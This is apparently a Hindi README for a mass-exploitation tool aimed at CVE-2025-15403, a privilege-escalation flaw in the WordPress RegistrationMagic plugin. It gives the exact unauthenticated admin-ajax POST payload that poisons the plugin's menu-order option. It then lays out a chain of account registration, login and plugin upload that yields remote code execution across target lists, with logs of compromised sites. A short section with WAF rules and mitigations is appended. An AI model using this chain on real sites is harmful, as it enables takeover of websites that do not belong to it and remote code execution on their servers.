
RegistrationMagic <= 6.0.7.1 - अनधिकृत विशेषाधिकार वृद्धि via admin_order
RegistrationMagic <= 6.0.7.1 – बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (admin_order के माध्यम से)
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 खुफिया जानकारी सबसे पहले यहीं आती है। @KNxploited को टेलीग्राम पर फॉलो करें — सटीक CVE खुलासे, काम करने वाले एक्सप्लॉइट और गहन भेद्यता अनुसंधान। वह चैनल जो खबर का इंतज़ार नहीं करते — बल्कि वे खबर बनाते हैं।
CVE-2025-15403 WordPress के लिए RegistrationMagic प्लगइन में CVSS 9.8 क्रिटिकल विशेषाधिकार वृद्धि (Privilege Escalation) भेद्यता है।
दोष प्लगइन के add_menu फ़ंक्शन में मौजूद है, जो rm_user_exists AJAX एक्शन के माध्यम से बिना प्रमाणीकरण के उजागर होता है। enable_admin_order=yes फ़्लैग के साथ order पैरामीटर में एक खाली स्लग इंजेक्ट करके, एक हमलावर प्लगइन की आंतरिक मेनू निर्माण तर्क में हेरफेर करता है। जब एडमिन मेनू बाद में बनता है, तो प्लगइन चुपचाप लक्ष्य भूमिका पर `add_cap('manage_options')' को कॉल करता है — किसी भी सब्सक्राइबर-स्तरीय खाते को पूर्ण प्रशासनिक क्षमता प्रदान करता है।
मूल कारण यह है कि add_menu फ़ंक्शन rm_user_exists के माध्यम से बिना प्रमाणीकरण के पहुंच योग्य है, साथ ही admin_order स्लग पर शून्य सत्यापन है:
// बिना क्षमता जांच के पंजीकृत
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← उपयोगकर्ता-नियंत्रित, सैनिटाइज़ नहीं
$role_key = /* POST से व्युत्पन्न */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// हमलावर-नियंत्रित ऑर्डर को प्लगइन विकल्पों में संग्रहीत करता है
update_option('rm_admin_order', $order); // उदा. ",menu1" → खाली पहला स्लग
}
}
// बाद में, जब एडमिन मेनू बनाया जा रहा है...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← हमलावर द्वारा जहरीला किया गया
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// खाली स्लग बिना शर्त क्षमता प्रदान को ट्रिगर करता है
$role->add_cap('manage_options'); // ← पूर्ण एडमिन क्षमता जोड़ी गई
}
}
}
यह क्रिटिकल क्यों है:
wp_ajax_nopriv_* = विकल्प को जहरीला करने के लिए शून्य प्रमाणीकरण आवश्यकorder=,menu1 में खाली स्लग empty() जांच को पास करता है, `add_cap('manage_options')' को ट्रिगर करता हैmanage_options सबसे उच्च WordPress क्षमता है — प्रशासक (Administrator) के बराबर╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 1 — बिना प्रमाणीकरण के विकल्प विषाक्तीकरण ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← खाली पहला तत्व = खाली स्लग
_Subscriber = 1 ← लक्ष्य भूमिका कुंजी
restore = false
enable_admin_order= yes
प्रतिक्रिया: HTTP 200 (कोई भी गैर-अवरुद्ध प्रतिक्रिया = विकल्प विषाक्त)
↓ प्लगइन wp_options में order=",menu1" संग्रहीत करता है
↓ अगली एडमिन मेनू निर्माण सब्सक्राइबर भूमिका पर add_cap('manage_options') को ट्रिगर करता है
╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 2 — खाता अधिग्रहण (सब्सक्राइबर) ║
╚══════════════════════════════════════════════════════════════════════════╝
विकल्प A — साइट के पंजीकरण फ़ॉर्म (मोड 0) के माध्यम से पंजीकरण करें:
GET /wp-login.php?action=register → स्मार्ट फ़ॉर्म पहचान
POST → सब्सक्राइबर खाता बनाएं
क्रेडेंशियल्स: NXploited / xplpass123
विकल्प B — किसी मौजूदा सब्सक्राइबर खाते का उपयोग करें।
╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 3 — लॉगिन + क्षमता संग्रह ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
सब्सक्राइबर खाते में अब manage_options है → पूर्ण एडमिन पैनल सुलभ
╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 4 — गहन सत्यापन और प्लगइन अपलोड के माध्यम से RCE ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → एडमिन डैशबोर्ड सुलभ ✔️
GET /wp-admin/plugin-install.php → प्लगइन इंस्टॉल पेज सुलभ ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → प्लगइन अपलोड और निष्पादित ✔️
GET /wp-content/plugins/Nxploited/hello.php
प्रतिक्रिया में "Nxploited" शामिल है → RCE की पुष्टि ✔️
यह शोषण सूट पूर्ण हमले के जीवनचक्र को कवर करने के लिए तीन अलग-अलग मोड प्रदान करता है:
pip install requests colorama urllib3
Python 3.8+ आवश्यक। Python 3.10+ अनुशंसित (
X | Yयूनियन प्रकार संकेतों का उपयोग करता है)।
CVE-2025-15403/
├── CVE-2025-15403.py # मुख्य शोषण सूट
├── list.txt # लक्ष्य URL — प्रति पंक्ति एक
│
├── rm_register_results.txt # मोड 0: सफल पंजीकरण
├── rm_exploit_results.txt # मोड 1 और 2: प्रिमिटिव फायर लॉग
├── rm_admin_verify.txt # मोड 2: लॉगिन + एडमिन सत्यापन लॉग
├── rm_plugin_uploads.txt # मोड 2: प्लगइन अपलोड प्रयास लॉग
│
├── rm_admin_dashboard_success.txt # ✔ वे साइटें जहाँ एडमिन डैशबोर्ड की पुष्टि हुई
├── rm_plugin_install_access.txt # ✔ वे साइटें जहाँ प्लगइन-इंस्टॉल पेज सुलभ हुआ
└── rm_plugin_rce_success.txt # ✔ वे साइटें जहाँ प्लगइन अपलोड के माध्यम से RCE की पुष्टि हुई
नीचे दिए गए तीन
_successफ़ाइलें क्रमिक समझौता स्तरों का प्रतिनिधित्व करती हैं — प्रत्येक स्वतंत्र रूप से लिखा जाता है जैसे ही इसकी स्थिति की पुष्टि होती है।
प्रति पंक्ति एक URL या होस्टनाम के साथ list.txt बनाएँ:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
स्कीमा के बिना नंगे होस्टनाम स्वचालित रूप से
https://के साथ उपसर्गित होते हैं। उपनिर्देशिका WordPress इंस्टॉल (जैसे/wordpress) का पता लगाया जाता है और स्वचालित रूप से संभाला जाता है।
python CVE-2025-15403.py
सभी पैरामीटर के लिए आपसे इंटरैक्टिव रूप से संकेत दिया जाएगा। मोड 2 के लिए उदाहरण सत्र:
मोड चुनें (0 = पंजीकरण, 1 = शोषण, 2 = शोषण+सत्यापन) [0]: 2
लक्ष्य सूची फ़ाइल (प्रति पंक्ति एक होस्ट/URL) [list.txt]: list.txt
थ्रेड (समवर्ती साइटें) [5]: 20
HTTP टाइमआउट (सेकंड) [10]: 12
वृद्धि के लिए भूमिका कुंजी (उदा. _Subscriber, _Editor) [_Subscriber]: _Subscriber
लॉगिन के लिए उपयोगकर्ता नाम (उदा. NXploited) [NXploited]: NXploited
उस उपयोगकर्ता का पासवर्ड [xplpass123]: xplpass123
एडमिन सत्यापन के लिए आउटपुट फ़ाइल [rm_admin_verify.txt]: rm_admin_verify.txt
प्लगइन अपलोड परीक्षणों के लिए आउटपुट फ़ाइल [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
मोड 2 में लॉगिन से पहले प्रिमिटिव भेजें? (हाँ/नहीं) [हाँ]: हाँ
[14:31:01] जानकारी | मोड 2: शोषण + लॉगिन + गहन सत्यापन | लक्ष्य: 200
[14:31:02] SESSION | https://target.com | PRIM: ठीक | REG: छोड़ें | LOGIN: ठीक | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: ठीक | REG: छोड़ें | LOGIN: विफल | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: विफल | REG: छोड़ें | LOGIN: - | ACCESS: कोई हिट नहीं
rm_admin_dashboard_success.txtवे साइटें जहाँ सब्सक्राइबर खाते ने विशेषाधिकार वृद्धि के बाद /wp-admin/ तक सफलतापूर्वक पहुँच बनाई:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtवे साइटें जहाँ प्लगइन-इंस्टॉल पेज सुलभ था (manage_options की पुष्टि):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtवे साइटें जहाँ एक परीक्षण प्लगइन अपलोड और निष्पादित किया गया — RCE की पुष्टि:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
मोड 2 तीन-चरणीय क्रमिक सत्यापन करता है — प्रत्येक चरण स्वतंत्र है और अपनी परिणाम फ़ाइल लिखता है:
चरण 1 — एडमिन डैशबोर्ड
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
जाँचें: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → rm_admin_dashboard_success.txt में लिखता है
चरण 2 — प्लगइन इंस्टॉल पेज एक्सेस
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
जाँचें: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → rm_plugin_install_access.txt में लिखता है
चरण 3 — वास्तविक प्लगइन अपलोड + निष्पादन (RCE प्रमाण)
plugin-install पेज से _wpnonce निकालें
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (इन-मेमोरी उत्पन्न)
GET /wp-content/plugins/Nxploited/hello.php
प्रतिक्रिया निकाय में "Nxploited" शामिल है या जाँचें
✔ → rm_plugin_rce_success.txt में लिखता है
प्रत्येक चरण जो पास करता है, स्वतंत्र रूप से रिकॉर्ड किया जाता है — एक लक्ष्य जो चरण 1 पास करता है लेकिन चरण 3 नहीं, फिर भी rm_admin_dashboard_success.txt में कैप्चर किया जाता है।
मोड 0 स्वचालित रूप से WordPress पंजीकरण फ़ॉर्म — कस्टम RegistrationMagic फ़ॉर्म सहित — का पता लगाने और सबमिट करने के लिए एक कस्टम HTML फ़ॉर्म पार्सर का उपयोग करता है:
प्रोब URL (क्रम में):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
प्रत्येक पृष्ठ के लिए:
→ सभी <form> तत्वों को पार्स करें
→ प्रत्येक फ़ॉर्म को स्कोर करें (0–200 अंक):
+100 "user_login" + "user_email" फ़ील्ड मौजूद
+ 60 ईमेल + उपयोगकर्ता-नाम जैसे फ़ील्ड मौजूद
+ 30 rm_* उपसर्ग वाले इनपुट फ़ील्ड (RegistrationMagic विशिष्ट)
+ 20 फ़ॉर्म id/class में "register" / "signup" शामिल
+ 10 पृष्ठ निकाय में "register" / "sign up" का उल्लेख
→ सबसे अधिक स्कोर वाले फ़ॉर्म को सबमिट करें (सीमा: 40+)
→ प्रतिक्रिया निकाय / रीडायरेक्ट URL के माध्यम से सफलता सत्यापित करें
एक्सप्लॉइट द्वारा उत्पन्न नेटवर्क पैटर्न — डिफेंडर और WAF/IDS लेखकों के लिए:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
WAF / IDS नियम (सूडोकोड):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (विशेषाधिकार वृद्धि प्रयास — CVE-2025-15403)
अतिरिक्त पहचान — विकल्प विषाक्तीकरण:
wp_options तालिका की निगरानी करें:
IF option_name = "rm_admin_order"
AND option_value (SHOULD BE STARTS WITH) ","
THEN ALERT — संभावित CVE-2025-15403 शोषण
यदि आप साइट स्वामी, डेवलपर या डिफेंडर हैं, तो तुरंत कार्रवाई करें:
wp_options तालिका — संदिग्ध प्रविष्टियों के लिए rm_admin_order मान की जाँच करें (जैसे, , से शुरू)manage_options क्षमता वाले किसी भी अनधिकृत खाते को हटाएँ या पदावनत करेंwp_ajax_nopriv_* हैंडलर्स में — विकल्प-लेखन फ़ंक्शन को कभी भी बिना प्रमाणीकरण के उजागर न करेंorder पैरामीटर — खाली स्लग सेगमेंट वाले मानों को अस्वीकार करेंrm_options_admin_menu युक्त admin-ajax.php को बिना प्रमाणीकरण के POST अनुरोधों कोrm_user_exists AJAX कार्रवाई कॉल के लिए WordPress और सर्वर लॉग कीTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No assumptions.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment you own.
• You will NOT deploy this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool in any form.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| हैंडल | Nxploited |
| टेलीग्राम | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 @KNxploited को टेलीग्राम पर फॉलो करें ताज़ा CVE। काम करने वाले एक्सप्लॉइट। कोई शोर नहीं। कोई देरी नहीं। वह चैनल जहाँ गंभीर शोधकर्ता तेज़ रहते हैं।
| क्षेत्र | विवरण |
|---|
| CVE ID | CVE-2025-15403 |
| प्लगइन | RegistrationMagic |
| स्लग | registrationmagic / custom-registration-form-builder-with-submission-manager |
| प्रभावित संस्करण | संस्करण 6.0.7.1 तक सभी संस्करण |
| भेद्यता प्रकार | बिना प्रमाणीकरण के विशेषाधिकार वृद्धि |
| हमले की आवश्यकता | AJAX चरण: कोई नहीं। शोषण: सब्सक्राइबर खाता |
| हमला वेक्टर | नेटवर्क |
| CVSS 3.1 स्कोर | 9.8 क्रिटिकल |
| CVSS वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| प्रभाव | पूर्ण WordPress प्रशासक अधिग्रहण |
| शोधकर्ता | Nxploited |
| मोड | नाम | विवरण |
|---|
0 | केवल पंजीकरण | स्मार्ट WordPress फ़ॉर्म पहचान + सब्सक्राइबर खाता पंजीकरण |
1 | केवल शोषण | admin_order को जहरीला करने के लिए बिना प्रमाणीकरण के AJAX प्रिमिटिव को फायर करता है |
2 | शोषण + लॉगिन + सत्यापन | पूर्ण श्रृंखला: प्रिमिटिव → लॉगिन → एडमिन डैशबोर्ड → प्लगइन इंस्टॉल → RCE |
| निर्भरता | उद्देश्य |
|---|
requests | HTTP सत्र, कुकी हैंडलिंग, रीडायरेक्ट ट्रैकिंग |
colorama | क्रॉस-प्लेटफ़ॉर्म रंगीन टर्मिनल आउटपुट |
urllib3 | स्व-हस्ताक्षरित प्रमाणपत्रों के लिए SSL चेतावनी दमन |
concurrent.futures | उच्च-थ्रूपुट मल्टी-लक्ष्य स्कैनिंग के लिए थ्रेड पूल |
zipfile | RCE सत्यापन के लिए इन-मेमोरी परीक्षण प्लगइन ZIP निर्माण |
html.parser | स्मार्ट पंजीकरण फ़ॉर्म पहचान और फ़ील्ड निष्कर्षण |
| रंग | टैग | अर्थ |
|---|
| 🔵 सियान | जानकारी | सूचनात्मक — मोड प्रारंभ, कॉन्फ़िगरेशन |
| 🟢 हरा | ठीक | पूर्ण सफलता — एडमिन एक्सेस या RCE की पुष्टि |
| 🟡 पीला | चेतावनी | आंशिक परिणाम — प्रिमिटिव ठीक लेकिन लॉगिन विफल, आदि। |
| 🔴 लाल | त्रुटि | कठोर विफलता — फ़ाइल नहीं मिली, अपवाद, अवरुद्ध |
| पैरामीटर | डिफ़ॉल्ट | विवरण |
|---|
| मोड | 0 | हमला मोड: 0 = पंजीकरण, 1 = शोषण, 2 = पूर्ण श्रृंखला |
| लक्ष्य फ़ाइल | list.txt | लक्ष्य URL वाली फ़ाइल |
| थ्रेड | 5 (कोई हार्ड मैक्स नहीं) | समवर्ती ThreadPoolExecutor कार्यकर्ता |
| टाइमआउट | 10 सेकंड | प्रति-अनुरोध HTTP टाइमआउट |
| भूमिका कुंजी | _Subscriber | वृद्धि के लिए WordPress भूमिका (_Editor, _Author, आदि.) |
| उपयोगकर्ता नाम | NXploited | पंजीकरण / लॉगिन के लिए खाता |
| पासवर्ड | xplpass123 | खाते का पासवर्ड |
| प्रिमिटिव भेजें | हाँ | मोड 2 में लॉगिन से पहले AJAX चरण को फायर करना है या नहीं |